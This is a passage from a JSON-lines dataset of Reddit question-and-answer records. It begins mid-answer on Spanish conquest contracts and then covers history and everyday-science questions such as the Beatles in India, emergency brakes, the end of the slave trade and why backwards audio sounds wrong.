*quinto* (a fifth of spoils and taxes). The crown benefited substantially from selling these grants. Instead of devoting prohibitively expensive military resources to control land in the New World, these contracts placed the financial burden for territorial expansion on would-be *conquistadores*. The crown gained potential income from new lands, and contractually held the ability to regulate extremes of conquistador behavior if they failed to comply with the terms of the contract. Punishments for abuses or failure to act in a timely manner ranged from imprisonment, to substantial fines, or revoking the original license.\n\n*Adelantados* were therefore placed under extreme pressure to maintain the resources required for a successful *entrada*, establish a permanent base of operations, find something that made the new colony immediately economically viable to recoup their losses and continue to hold crown support (hence the preoccupation with precious metals), and convince the crown the local population posed no threat to their endeavors. Lobbying between *adelantados* and the crown often took years. For example, Juan de O\u00f1ate originally submitted a license to conquer New Mexico in 1595, petitioned repeatedly to lobby for contractual fulfillment when the license was revoked in 1597, and then engaged in a prolonged legal battle from 1606-1624 for use of excessive force during the *entrada*.\n\nPresenting their lands both worthy of conquest and easily conquered emerged as common theme for *adelantados* attempting to validate their position and maintain continued royal support. The formulaic writing style stressed not only a completely conquered native population, but one willing to submit both to Spanish rule and the Catholic faith, regardless of the actual facts on the ground. Hedged in religious terminology, and with papal support that acted as a divine grant of land for Castile and Portugal, \u201cclaims of possession became synonymous with possession itself\u201d (Restall, p.68).\n\nThe claim of no religion justified the expansion into territory of those who had not yet heard the Gospel, and the Spanish Crown chose to interpret [a rather hazy 1493 papal bull](_URL_1_) as a right to complete political sovereignty. Queen Isabel stated, in 1501, that the vast number of inhabitants populating the New World were \u201csubjects and vassals\u201d and should \u201cpay to us our tributes and rights\u201d. Couched in these terms, Native American resistance to conquest became an unholy rebellion, and violent resistance an illegal infringement on colonial peace. Since *conquistadores* were fighting rebels against the crown and the Catholic faith, military campaigns were undertaken for pacification (not conquest). Since resistance leaders were rebels they could be tried and executed for treason, their followers legally enslaved for rebellion (despite the official ban on native slavery within the empire). I\u2019ll quote Restall here because I can\u2019t put it better\u2026\n\n >  This pattern can be seen in the Yucatan as well as in virtually every region of Spanish America. Having founded a new colonial capital in 1542, named M\u00e9rida, the Spaniards in Yucatan declared the Conquest achieved and set about \u201cpacifying\u201d the peninsula. But as they controlled only a small corner of it, they were obliged to engage in major military hostilities with one Maya group after another, encountering particularly strong resistance in the northeast in the late 1540s. This was clearly an episode in a conquest war now in its third decade, but just as the Spaniards had already declared the Conquest complete so did they now classify this resistance as a rebellion\u2026 This was used to justify the execution of captives, the use of display violence (notably the hanging of women), and the enslaving of 2,000 Mayas of the region. Four centuries later, historians were still calling this \u201cThe Great Maya Revolt.\u201d (p. 69)\n\nColumbus inherited the legal and religious justification for colonization of non-Catholics, and he, like many others, brought those rules of war to the New World in the search for gold and glory. He knew full well how to present his findings to the Crown to ensure further patronage, and there is a strong temptation to read his descriptions of Caribbean life as fact. We should always take care when reading these early accounts of the New World because, like in all of history, hidden under each word is the unspoken motivations of a biased narrator writing for their audience.\n\nCheck out Restall's *Seven Myths of the Spanish Conquest* for more info."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://np.reddit.com/r/badhistory/comments/2rjw9r/myths_of_conquest_part_three_a_completed_conquest/", "https://en.wikipedia.org/wiki/Inter_caetera"]]}
{"q_id": "7pqcmp", "title": "In the 1960s, British bands integrated Indian instruments and styles into their pop/rock music. What was the reaction in India? Were people listening to \"Tomorrow Never Knows\" in Delhi?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7pqcmp/in_the_1960s_british_bands_integrated_indian/", "answers": {"a_id": ["dsjo4xi"], "score": [17], "text": ["Firstly, people were definitely listening to the Beatles in Delhi in the 1960s. Their music was released in India in the 1960s through EMI's local branch; there are [pictures on Discogs of an Indian release of *Revolver*](_URL_3_) (the album 'Tomorrow Never Knows' is on), and I think discogs indicates that there were several pressings of the album in India. In fact, India is famous amongst Beatles nerds because, in the 1960s, Indian record labels were still releasing 78rpm records (which had been discontinued in England and America in the 1950s), likely for the section of the Indian market that still used hand-cranked gramophones; as a result, [Beatles singles up until 1968 were released on 78rpm in the Indian market](_URL_0_).\n\nAccording to a 2012 masters thesis by [Zachary Stockill at the University of British Columbia](_URL_2_), there was quite a lot of discussion of the Beatles in English-language Indian newspapers, but less in Hindi language newspapers; given that television had not yet arrived in India in the 1960s, according to Stockill, newspapers in the 1960s were a particularly prominent venue for cultural discussion.\n\nStockill makes the argument that, in English-language papers in India, the Beatles - and in particular, their association with the Hindustani classical musician Ravi Shankar - were seen through the perspective of a local debate about the importance of tradition; the Beatles were seen as the bringers of new ideas and the disrupters of tradition. It should be pointed out that the kind of music that Ravi Shankar made wasn't folk music, per se, but a kind of music with the prestige and tradition associated with Western classical music, and so the kind of music he played at, say, [the Monterey Pop Festival in 1967](_URL_1_), was a fairly traditionalist version of that music. However, Shankar's ambition and wanting to get in with the hip new Western hippie types meant that he was seen as someone pushing against traditions in Indian circles; Hindustani classical music was seen as a 'pure' vision of India that Shankar was letting 'foreign contamination' into.\n\nOf course, the Beatles in India have to be seen through the perspective the British Empire's long period of control over India, which had only ended barely 20 years before *Sgt Peppers* was released. The kind of people who'd read English-language newspapers in India were typically well-educated, more cosmopolitan types, who\u2019d perhaps had more interaction with the Empire. Stockill claims that, due to budgetary deficiencies, English-language Indian newspapers of the time often relied heavily on reports from *The Times of London* or the *New York Times* (or Reuters), perhaps filtered with local commentary.\n\nAs a result of the reliance on big newspapers of the Anglosphere, readers of *The Times Of India*, for example, would have experienced plenty of coverage of the Beatles, who were covered extensively by the New York and London *Timeses*. Given their prominence, advertisers in English language Indian papers used Beatle references: \n\n > In March of 1968, an advertisement for a pharmaceutical company appearing in the Times of India bore the question: \"who wants tradition in the Beatle generation?\" The advertisers went on to explain that the reputable people at Hoescht Medicine do, as \"tradition sets a standard for the future. A standard of excellence.\"\n\nThe use of the Beatles in references in advertisement likely suggests that, amongst English-language Indians, they were household names.\n\nThere was also a vein of Indian social criticism which condemned trends associated with Western 'modernity' and 'their sneering attitude to the purity and sublimity of human character', of which the Beatles were a prime example, and a prominent one with their visit to Rishikesh in 1968. There was some suspicion about the Beatles' visit amongst some; one opposition Indian parliamentarian demanded an official inquiry, claiming in parliament that the Maharishi's ashram had become a centre of international espionage. Additionally, the Maharishi was generally seen in Indian society as something of a charlatan and the *Times Of India* wrote that he was \"easy to dismiss [as] poppycock\" due to the \"show business techniques\".\n\nHowever, there was also some celebration of the Western counterculture in Indian newspapers; George Harrison's engagement with Indian culture led him to be described in *The Times Of India* as \"the most knowledgeable of the fabulous foursome, and bubbling with initiative and drive\", while the Beatles' Rishikesh retreat, according to the *Hindustan Times*, provided India with \"perhaps the widest free tourist publicity that India had in the British press\". Conservative cultural values, argues Stockill, did predominate in such newspapers, but their arguments do suggest the existence of a progressive tradition that was taken with the Beatles; it's likely that the arguments in *The Times Of India* represented older generations, while younger generations - more likely to listen to the Beatles in the first place - made arguments about their music and their relevance to India in other avenues.\n\nA paper by Sharmadip Basu in *South Asian Popular Culture* points to the Calcutta-based magazine the *Junior Statesman* as a magazine more in the spirit of what youth were listening to; Basu quotes a reporter from the *Junior Statesman* as saying that *'we would review the very latest [music] from the West. We were the first in India to put the then ground-breaking Beatles' Sgt. Pepper's on the cover and review it extensively.'* The magazine also championed local versions of rock bands, often influenced by the late 1960s hippie bands like the Grateful Dead and Jefferson Airplane, including bands like The High and Great Bear; The High also based musical choices on hippie cultural touchstones, including releasing a *Tolkien Suite* based on the *Lord Of The Rings*."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.yokono.co.uk/collection/beatles/india/78rpm/india_single_parlo_78.html#26-1", "https://www.youtube.com/watch?v=lk60ObnbIOk", "https://open.library.ubc.ca/cIRcle/collections/ubctheses/24/items/1.0073840", "https://www.discogs.com/The-Beatles-Revolver/release/7465559"]]}
{"q_id": "5csoey", "title": "why is it called an emergency brake if most people only use it for parking?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5csoey/eli5_why_is_it_called_an_emergency_brake_if_most/", "answers": {"a_id": ["d9z1s4d", "d9z1u08", "d9z1v3b", "d9z7hiq", "d9zbdoi", "d9ziray"], "score": [3, 13, 8, 3, 2, 2], "text": ["It typically relies on a mechanical mechanism to operate which is completely separate from the control system of your brake pedal.  This means that in theory, if your standard brake pedal system were to fail, the \"emergency brake\" may well still be functional, and thus could be used to stop you in this emergency situation.  \n\nAlso, it is also known as a parking brake, which is definitely the more correct name.  ", "In the UK it's called a handbrake.  Although in some cars it isn't hand operated. With an auto transmission most have a transmission lock when in park so the car is unlikely to move. The foot operate brake pedal is usually hydraulic. The parking or \"emergency\" brake is cable operated. If the hydraulic brake servo fails, i.e because the engine has stalled, you can use the hand operated brake to stop the vehicle. ", "I don't think any owner's manuals actually call it an emergency brake, it's just a colloquial term. They only time you would use it not for parking is if your brake fluid got so low that your brakes barely worked.", "Parking brake, emergency brake, and hand brake are all synonamous.\n\nThe brake pedal works in tandem with a vacuum servo to pressurize the hydraulic fluid in the brake lines, causing the brake pads to come into contact with the rotors (for disk brakes anyway, drum brakes are not substantially different). \n\nThe hand brake applies tension to a metal cable which engages the brakes and holds them in place until the hand brake is released. There are far fewer points of failure in the hand brake than in the hydraulic brake. If the engine stops while the vehicle is in motion the hydraulic brakes will be unassisted by the engine vacuum through the vacuum servo, meaning that the force needed to engage the brakes will be much greater than most drivers are used to; the hand brake is consistent and operates regardless of the state of the hydrulic brakes, brake fluid, or engine.\n\nWhen a vehicle is placed into park, the brakes are not engaged. Rather, the transmission output gear is locked into place by a pin which prevents the drive axle (and only the drive axle) from rotating. If this pin fails, the vehicle will roll freely. On a steep slope or in slick weather conditions, gravity may be sufficient to compromize the transmission lock or overcome the friction of the drive axle, so it's good practice to engage the hand brake to keep the vehicle from rolling.", "in Singapore when we learn to drive, there is a drill called the 'E' Brake Drill. this is where the instructor slams on the dashboard and you have to jam the foot brake and pull the hand (emergency) brake.\n\nIIRC, the handbrake (at least in older cars) is mechanical in nature (they use cables and you can actually feel the tension when you pull on the brake) while the footbrake runs on hydraulics.", "This is going to be long. Sorry.\n\nI had an instance where it actually was my \"emergency\" brake. \n\nI was living in Ga and headed home from my moms house one day, which was 7 miles away. Everything was fine, until I came to a red light on top of a hill. As I approached the light, my brakes went all the way to the floor, and nothing happened. I pumped them a couple times, and they worked again. Thinking it was a fluke, I continued on when the light changed. \n\nGot to the next light, and it happened again, but this time was worse. My car seriously didn't want to stop! I pumped them several times, and came to a screeching sideways stop behind a car. I had no phone, so no way to call for help. I'm super small, so I didn't want to walk back the 3 miles to my moms house. So I made the decision to get myself and my car home in one piece. Luckily, I had seen a tv program where something similar happened, so I knew what I had to do.\n\nIn front of me was a mostly straight shot, but very narrow streets, and a ton of red lights and traffic. To my right, was a more scenic route, curvy with hills, but less lights and traffic. When the light changed, I turned right. My emergency brake became my only brakes. I took it moderately slow, and at each red light, I pumped the hell out of my brakes, and pulled my E brake. One of the last red lights was at the bottom of a kinda steep slope. Scared me shitless, but thanks to the E brake, I stopped in time. \n\nNeedless to say, by the time I slid into my driveway, I was shaking and crying! I had to sit in the car for 10 minutes just to calm my nerves. It turned out that my brakes fucked up due to a tiny little T shaped piece that lost one of its arms.\n\nHands down, scariest day of my life. And without my Emergency brake, I wouldn't have made it home."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "20eajc", "title": "Is the effect of Earth's gravity at all affected when it is at the apex of its elliptical orbit around the Sun?", "selftext": "Or anything else from our perspective for that matter? I feel like the change in velocity could somehow be noticed or measured from here. Kinda like a sling-shot around the moon?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/20eajc/is_the_effect_of_earths_gravity_at_all_affected/", "answers": {"a_id": ["cg35e8s"], "score": [2], "text": ["It won't affect the Earth's gravity. That is dependent on the Earth's mass.  \n  \nIt will affect gravitational force you feel being between the two bodies, but you would need to be extremely sensitive to that change. You can look up physics equations and constants to figure out the actual gravitational force on you at the given moment but the difference made by any distance on the order of magnitude of the Earth's diameter is pretty much negligible. You would have to have a distance that was comparable to that of distance between the sun and the Earth. \n  \nQualification: Studied all of general physics in college. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2unnie", "title": "I read the last slave ship entered America in 1859. What were the causes of the ending of the importation of slaves before the cessation by the south and did those states have any kind of plan to later restart the slave trade?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2unnie/i_read_the_last_slave_ship_entered_america_in/", "answers": {"a_id": ["coeb23z"], "score": [2], "text": ["I'm going to try and address your question within the context you specified to /u/cotton_eyed_bro below; if it's not what you're looking for, let me know and I'll try to refine my answer.\n\nYour question appears to be rooted in the assumption that the transatlantic slave trade was thriving until shortly before the civil war; this is not the case, and if the source you were reading implies that, I'm afraid you've been a bit misled. The United States had abolished the importing of slaves by federal law in 1807 (taking effect in 1808); Britain, which was responsible for as much as 28% of all slave cargo shipped to the United States after independence, abolished the trade in its entirety in the same year. Estimates on the extent to which illicit trading in slaves continued after 1807 have varied considerably, but the trade to America appears to largely disappear after 1820.\n\nIn the years just before the onset of the Civil War then, the transatlantic slave trade was for our intents and purposes dead; it was very much a permanent situation by that time. So in order to answer your question, I'm going to have to push your time-frame back a few decades to the turn of the century.\n\nGenerally speaking, the United States was never particularly hungry for slaves from Africa compared to the colonial holdings of the European powers. Between 1776 and 1808, continental North America imported approximately 123,000 slaves; in the same period, the Caribbean imported more than 1,520,000. To put it another way, for every slave arriving in the United States in that period, 12 were arriving in the Caribbean; 7 of those in the British Caribbean. Whilst it is important to note that America also imported slaves from the West Indies - and thus some of those slaves recorded as being Caribbean-bound ultimately ended up being sent on to continental North America - in any given year the USA rarely imported slaves on a comparable scale to the European colonies. The questions that arise from your initial inquiry are, then, how and why did the US end the foreign trade in slaves so early, and was the south a participant in or an obstacle to that process?\n\nThe answer to the first part of that question lies in the American war for independence. In the 25 years preceding the Declaration of Independence, records indicate that continental North America imported an average of 5,850 African slaves per calendar year; in the 25 years immediately after, that figure plummets to just 1,400. During the course of the American revolution, every part of the infant nation either outlawed or suspended the slave trade - some for moral reasons, some for fear that the instability of the period would make it harder to prevent slave rebellions (which, the slave-owning community believed, were more likely to originate from African than colonial-born slaves) and others out of a desire to undermine or separate from the British economy.\n\nThe demand for fresh slave labour was still as strong as ever, however. In the absence of imports from the rest of the world, the USA began to develop a much stronger *internal* slave trade, redistributing its internal supply of slaves through market processes or relocation between states. Such trade had always existed and served to reduce the demand for foreign imports of slaves, but the closing of US ports to slave ships placed greater emphasis on its importance. From 1790 to 1860, around one million slaves were probably sold and moved through this internal market - probably more than double the number of Africans brought to continental North America in the 230 years slavery existed there. After the war, most states kept or only fleetingly lifted their bans on the slave trade; Georgia alone had permanently restored the trade by the 1787 Constitutional convention. Nonetheless, the planters of the Lower South as a whole felt importing slaves from abroad was a right to which they were entitled, and a means by which they could ensure the future of slavery in the long-term if the domestic trade became unsustainable or too costly. As a concession to them, the Constitution guaranteed states the right to import slaves until 1808 if they wanted to do so.\n\nIn 1805, with the constitutional protection for the trade about to expire, anti-trade representatives in Congress began to work towards securing abolition to take effect on the earliest possible date: January 1st, 1808. In these debates, the south's leaders and representatives divided. The Upper South and especially Virginia had developed a strong excess of slaves, and there were serious concerns about the implications of this among contemporaries for Virginian society and economy. In contrast, the Lower South - with its rapidly growing cotton industry always hungry for more labour - had a constant need for new slaves. It was this labour imbalance that had fuelled the growth of the internal slave trade already, with labour moving from the Upper to the Lower South when the international market could not provide enough. Furthermore, South Carolina had re-opened its ports to slave imports in 1803; this served as a phenomenal boost to the slave trade. In 1804 alone, the US imported more slaves than it had in the preceding seven years combined; most of these slaves were sold on beyond South Carolina, creating a rival source of new labour to the internal trade.\n\nThe moral climate of the wider US was also favourable to abolition - even among pro-slavery elements of society, the horrors of the slave trade were difficult to deny. Congress had repeatedly passed measures aimed at regulating and restricting the practicalities of the slave trade with mixed success; the mass imports to South Carolina after 1803 had highlighted the inadequacies of these measures and strengthened the case for federal abolition.\n\nUltimately, the slave trade could not survive; many in the Upper South had a vested interest in its demise to promote the domestic slave trade, many northern abolitionists hoped to end slavery altogether by choking off the supply of new slaves, and the planters of the Lower South could not make a convincing economic or moral argument for its retention.\n\nIn the final years of the trade, after South Carolina re-opened her ports to slaves and abolition of the trade approached, the US experienced an unprecedented burst in new slave imports. In 1807 alone, more than 35,000 slaves arrived from Africa in the United States - all in all, the years 1803 to 1808 account for nearly 65% of all known estimated slave imports in post-independence America. Around one in every six Africans taken directly to the USA as slaves from 1628 to 1860 - a period of 232 years - are thought to have arrived there in the final half-decade of the slave trade's legal existence. In other words, a period amounting to just 2% of slavery's existence accounted for 15 - 20% of all foreign slave imports.\n\nThis burst in imports at the last minute, a supply of labour sufficient to account for anywhere between 25 - 35 years of lost external trade, surely gave southern slavery the boost it would need to adapt to the total loss of the legal foreign slave trade. When the southern states seceded from the union, restoring the slave trade was not in their minds - indeed, the Confederate constitution prohibited the \"importation of negroes of the African race from any foreign country\", except for the USA, though there were certainly many in the south hotly opposed to this provision (and some who only accepted it for fear the Confederacy could not find international support without it). \n\nIn terms of the feasibility of restoring the transatlantic slave trade, that is difficult to say. The slave trade was in global decline at this point anyway, and after 1850 was predominantly the domain of the Spanish, who had only ever accounted for a tiny portion of shipments to North America. With the USA, Britain and France all prohibiting slavery, I imagine that the Confederacy would have had an enormously difficulty time meaningfully reinstating it. Though some certainly wanted to, it is likely that the southern US would have always been much more dependent upon continuing to trade internally rather than importing Africans.\n\n**TL;DR: The trade's abolition took place a long time before the civil war. The south came to rely on an internal market for slaves, whereby excess labour in the Upper South was sold on to the Lower South for profit. Though Lower South planters resisted a ban on the trade to try and keep labour costs down and the supply high, Upper South interests in promoting a domestic trade and northern anti-slavery interests restricted their capacity to resist the outlawing of slave imports from Africa. By the time of the Civil War, the south's prospects for restoring the trade even if they won were poor, and though some certainly wanted to, the Confederate Constitution did outlaw the trade.**\n\n**Selected Bibliography**\n\n* David Brion Davis, *The Problem of Slavery in the Age of Revolution, 1770 - 1823* (1975).\n* Matthew E. Mason, \"Slavery Overshadowed: Congress Debates Prohibiting the Atlantic Slave Trade to the United States, 1806 - 1807\", *Journal of the Early Republic* 20, no. 1 (2000): 59 - 81.\n* Steven Dyle, \"An \"Abominable\" New Trade: The Closing of the African Slave Trade and the Changing Patterns of U.S. Political Power, 1808 - 60\", *The William and Mary Quarterly* 66, no. 4 (2009): 833 - 850.\n* The Trans-Atlantic Slave Trade Database (_URL_0_), including estimates for undocumented voyages."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.slavevoyages.org/tast/index.faces"]]}
{"q_id": "2h8qv4", "title": "I often see the Crimean Peninsula included as part of the Roman Empire in maps, but what do we know about its place in the Empire?", "selftext": "What was it's importance to Rome? Who were it's people? What did they think of in terms of their relation to the Empire? It's not a subject I've seen talked about and I'm curious about really any insight into this territory during any period of Roman/East Roman occupation. ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2h8qv4/i_often_see_the_crimean_peninsula_included_as/", "answers": {"a_id": ["ckqkidc", "ckqv2dh"], "score": [46, 19], "text": ["During the period of the Eastern Roman Empire, the Crimean territory served as a critical trade post for the northern Black Sea, but also served a crucial secondary purpose as a forward lookout position for any of the various warlike migratory tribes that would be making their way west or south towards the Empire. Grand Prince Vladimir I of Kiev took the major city of Chersonesos in Crimea hostage in 988 to force Emperor Basil II to not renege on his agreement to wed his sister Anna to the Grand Prince, after the latter helped him put down a revolt the prior year. Considering that an imperial princess had never been wed to a foreigner before this point and Basil ended up agreeing to the marriage after the takeover, you can imagine how important this strategic province was to the Empire (although this ended up with a welcome side-purpose of finalizing Vladimir's conversion to the Orthodox Church, followed swiftly by the rest of his people).\n\nSource: J.J. Norwich, \"History of Byzantium\"", "During the Classical period, the region was called Chersonesus, which was also the main city. Its history as a Greek colony stretches back into the classical or late Archaic, founded as part of the general movement of Greeks around the Mediterranean, and it came into the Roman orbit during the process of the Roman conquest of the interior of Asia Minor. It was never really under full control of the Romans, but had had a fairly long history of trading some of its sovereignty in exchange for protection from its troublesome northern frontier. During the third century it capitulated to the Goths and was a major source of their naval power.\n\nThe inhabitants were Greek colonists, but the Black Sea Greek colonies in general tended to be very heavily mixed with the \"indigenous\" populations. Economically, it was a very fertile agricultural region and major exporter of grain."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1ikl9k", "title": "Putting something cool around your neck to cool your Jugular vein, does that really help your body cool down?", "selftext": "I've been told for a long time that putting something cold around your neck helps you cool down because it helps cool down your jugular vein.  Is there any truth to this statement?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1ikl9k/putting_something_cool_around_your_neck_to_cool/", "answers": {"a_id": ["cb5f58h", "cb5fubo", "cb5hg06", "cb5j68u", "cb5xxyz"], "score": [2, 27, 2, 9, 2], "text": ["One of the main jobs for your vascular system is to regulate the body temperature. Putting something cool around your neck can cool the blood inside the vein and then rapidly travel around the body. Like pipes that have hot water to act as water heating, there's a heat exchange between the cooler blood and higher temperatures of the body.\n\nEdit: Wow one of those sentences made no sense...", "Great question! I would say yes that can indeed cool you down.\n\nSo, essentially this directly relates to how your body cools down naturally. When you are too hot your body begins to sweat and because water has a high specific heat capacity, it creates a cooling effect (it takes a lot of heat from your body to evaporate the sweat). Your blood vessels also dilate when this happens, so that more blood will pass by the areas of your body that are sweating and experiencing the cooling effect. This is important because the core temperature of your body is what needs to be decreased and the peripheral areas of your body is what usually does the cooling.\n\nIf you put ice directly near a jugular vein, it will create the same effect as sweating - in that it provides an area of cooling that is near blood vessels which is going to and from the core of your body.", "Better off putting a cool cloth around your radial artery (wrist). At least, according to my medi-vac EMR instructor anyways.", "While it will cool you a tiny bit, the amount of cooling done is really insignificant.  Most of it is in your head.\n\nThere has been a decent amount of research done on this, mostly in the areas of hyperthermia/heat stroke treatment.  That being said, it is still slightly contentious.   [This chart](_URL_0_) from [this article](_URL_1_) give a good overview of extremity cooling, which has been found to more effective than artery cooling.\n\nBasically, the best way to meaningfully cool off is to jump in an ice bath.  After that, the best way is to submerge hands, feet, and faces.  These are highly vascular, and actually are much more effective than cooling on an artery.  So your cool towel, though it will probably feel nice, won't actually do that much.", "Yes it is a very effective cooling method. In fact, nature has already figured this out. Kangaroos like their blood vessel-rich wrists to cool down via evaporation."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://origin-ars.els-cdn.com/content/image/1-s2.0-S0306456513000521-gr1.jpg", "https://www.sciencedirect.com/science/article/pii/S0306456513000521"], []]}
{"q_id": "2bvufr", "title": "why does snapping a towel make it cooler to the touch?", "selftext": "I keep seeing commercials for \"cooling towels\" that you're supposed to wet and then snap to cool them down, but based on a lot of reviews I've read, you can get the same exact effect from kitchen towels, etc., as long as you snap them when they're wet. \n\nWhat is it about snapping a towel that helps cool it down? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2bvufr/eli5_why_does_snapping_a_towel_make_it_cooler_to/", "answers": {"a_id": ["cj9eezr"], "score": [3], "text": ["You're quickly moving the towel through the air when you snap it. The rapid moving air over the surface evaporates the water. The evaporating water takes heat with it, leaving the towel cooler. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "e2tayo", "title": "how can we tell when audio is backwards even when there aren't words?", "selftext": "Why does it not sound like someone speaking a completely differe?nt language. Or if it's white noise, why does it not still sound like regular white noise?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/e2tayo/eli5_how_can_we_tell_when_audio_is_backwards_even/", "answers": {"a_id": ["f8xhfx0", "f8xisoa", "f8xkr89", "f8xkv72"], "score": [12, 36, 6, 95], "text": ["I'm sure some audiophile can explain it better, but I believe it's because although different languages use different subsets of sounds in different orders, they are still all sounds the human mouth can make. When you play those sounds backwards they do not sound like anything the human mouth can make.", "When speaking, all the different noises you make with your mouth have very abrupt starts, and fade off. When played in reverse, those same sounds would instead have a slow build up, then an abrupt finish, much different than how natural speech is articulated.\n\nTrue white noise is indistinguishable when played forward or backward.", "Sounds decay. Such is the nature of vibration. Sound is merely pressure, coming from a source, and fading over distance and time.\n\nReversing audio flips that around. Our ears know that is not how sound works. So, even if there is no 'words' and just music, you can tell it is backwards.", "As a rule, audio sources start loud and then fade. Think of a guitar string, for example. Even if a sound starts and ends abruptly like a hand clap, echo from the surroundings fades over time. When played backwards the difference is is easily detectable.\n\nTrue continuous white noise will bot be distinguishable when played forward or backward."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "3eql2p", "title": "a recent court ruling found it illegal to throttle internet. why is at & t still allowed to throttle data?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3eql2p/eli5a_recent_court_ruling_found_it_illegal_to/", "answers": {"a_id": ["cthgy9g"], "score": [6], "text": ["The court ruling was that they can't offer \"unlimited\" plans that aren't actually unlimited. Contracts that say \"you get X GB of high speed data and then you get throttled\" are still legal."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4uvwq2", "title": "netflix prosecuting people who share their account info?", "selftext": "How is this going to work? So you're not allowed to give it to anybody, or just the amount of people that you buy for? How will they know it's not just one person using it from several different places? How will they prove/prosecute anything? Thanks!", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4uvwq2/eli5_netflix_prosecuting_people_who_share_their/", "answers": {"a_id": ["d5tdqbq"], "score": [2], "text": ["Netflix is unlikely to sue people who share their login credentials, let alone ask the government to pursue criminal charges. If they do anything, they're going to close people's accounts when they think they're sharing too broadly.\n\nThey don't, strictly speaking, need any real evidence. They can just cancel your subscription for any reason or for no reason at all. But what they will probably do is send you an email saying, basically, *at one point in June, your account had thirty logins from eight different states during the same hour. Stop sharing your account with so many people, or we'll cut you off.*"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "23zuwe", "title": "what's so \"green\" about plant bottles?", "selftext": "This is my first post and I'm sorry if it doesn't follow guidelines. \n\nI've seen these bottles everywhere distributed by The Coca-Cola Company. They have water bottles such as Dasani having thIS \"plant bottles\" brand that are supposed to be eco-friendly. I don't understand how it could be because its still made of plastic. How is it any different and how is its degradation process any different?\n\nBottle Picture: \n_URL_0_", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/23zuwe/eli5whats_so_green_about_plant_bottles/", "answers": {"a_id": ["ch27322"], "score": [6], "text": ["Traditional plastics are made from petroleum byproducts. \"Green\" plastic is made from recycled plant matter, presumably reducing the amount of oil needed in the manufacture of bottles. "]}, "title_urls": [], "selftext_urls": ["http://www.dasani.com/wp-content/themes/dasani/images/figures/bottle.jpg"], "answers_urls": [[]]}
{"q_id": "acqb9v", "title": "how is it that docile and defenceless animals such as cows, sheep etc. survived natural selection?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/acqb9v/eli5_how_is_it_that_docile_and_defenceless/", "answers": {"a_id": ["ed9xmsz", "ed9xuzl", "ed9xxyf", "ed9y5x2", "ed9ytyw"], "score": [4, 28, 25, 4, 3], "text": ["Because humans have been cultivating and breeding them for centuries. They're easy food and resources so of course we took care of them. ", "Because we bred them to be that way. Wild cattle and sheep are/were actually much more aggressive. ", "Natural selection isn't about who's the strongest or who's the smartest. That's all orthogonal, and it's why \"survival of the fittest\" is a strongly disliked term by modern biologist.\n\nIt's entirely about how well you can reproduce in an environment. Cows and sheep may not be able to hunt, but they *don't need to*. \n\nEating grass is their adaption. They can get food with minimal effort. They can bang, have a bunch of children, their children can have plenty of food. Even if half of them die from predators, that's better than the predator who nearly starves every day and whose children die after they break their leg.", "Cattle and sheep are pretty goddamn big and strong. Most breeds would survive just fine in the wild nowadays. They are not that defenseless. I suppose breeds bred for meat would be significantly better off, as they are bigger and stronger, than milk and shear breeds, but they are pretty hardy. Do a YouTube search of rams or bulls gone wrong and you see how strong they are\n\nHere u go: bull\n_URL_0_\n\nRam:\nHOLY SHIT I didn't expect this! Last video showed bulls destroying people. Top search for ram is a ram destroying cattle 10x his size!\n_URL_1_", "A cows survival traits are large numbers, breeding fast, and being bigger than the predators that hunt them. They aren't smart because they don't have to be. They move in large herds, and they're big and can easily crush or trample a predator. \n\nWild cows (Aurox) are now extinct. But they were much more ill tempered and aggressive than cows. You can easily find videos of angry bulls on youtube to give you an idea of what they might have been like.\n\nAurox roamed Europe in large herds. A pack of Wolfs would attack the stragglers , the old and infirm or vulnerable young. But attacking a herd that size head on would get you trampled pretty fast."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://youtu.be/7G9arHa4zcc", "https://youtu.be/xHv2u1rrWp8"], []]}
